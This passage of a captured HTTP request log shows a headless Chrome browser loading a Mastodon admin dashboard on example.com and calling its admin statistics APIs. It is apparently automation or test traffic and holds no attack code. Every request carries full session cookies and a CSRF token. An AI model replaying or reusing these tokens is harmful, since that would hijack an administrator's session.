_mastodon_session=UJlraWd3K9cO0MFqwrqGtakBWsIEq95ctCmMPOwQC%2F0hqxmuOw%2BYSMzVIOyT69T8PseGocltvcNC0m3Zxst6Gu3m%2Bhp1QwmBaxLEQBzR%2BeXzeXvtJ25KOLnM%2F8H0tT2b6X%2FDxCpLBWGGEIk5U8rDvoCmu0GFUx1S1o2Us%2FCnnlt7Co10e1a3W7g7ge9XTk9UVFmk4LlkMyByCnJytcQVHXE2ZuHjEheCbIPCMWLgwZPqUu3dLB3XFccIBHr2Qf%2BOnHQ564yr6UXn%2BOLgsNFpirU0gCLbUY8RyA%3D%3D--%2BC58uBQAFyYj4VH4--62QYBwUYVMsL4NHmq%2FBDWw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/tab_list-e25X12WM.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/icon_button-DfNtv8BJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/compose_form_container-BsuzTwz6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/roboto-regular-webfont-DjumA6RA.woff2", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/packs/assets/themes/default-DkDM-a1D.css", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/retention", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 67", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"start_at\":\"2026-05-10\",\"end_at\":\"2026-11-10\",\"frequency\":\"month\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 68", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"new_users\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 71", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"interactions\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 71", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"active_users\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 75", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"resolved_reports\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 73", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"opened_reports\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--db1e142b0998e82acd3397cee7d0ba51c699d1d1; _mastodon_session=0Rrsf%2BJaiWEQHLTqtATzgOCsPrkU%2FFB08mBuEHl7rb%2BmNRoEvIj3KmZwBI5hdh%2BdgitHRGdgIItTDfgI9nOph7MIvR8LUIISELVn1HaEsfULFuynvFXMkBgNiWR5SP1mqzIyuSO8UZa1JY2SWc%2Bio%2FgyR27RzoL4xzm9BZMR2lv2GhU%2FDjew357EpmrNpQPy5UcHD4zqZYx2DREWHyDVwUozh14UUm3dwrTl4JUZ6zQmwvPaF8BLDbt9o7LIio%2FhE7qHNhnC3GXxLgIEuAKiLRwYuGyOaUKEVraVbAq3Y2QrPeG1ILFjmT8EvFBtn6WSNXocWgdV%2FXY%2FIXql4%2F%2Faj2uzz1IdrEqkVPeSD9NulNb8O0WMy2%2ByKy7ODSX%2BVT1bHPkyRaoxTdjz--1kxhNi%2BFa1C88e8U--ckPUTJ5K%2FmygBBtghacHlQ%3D%3D"], "body": "{\"keys\":[\"languages\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 86", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--db1e142b0998e82acd3397cee7d0ba51c699d1d1; 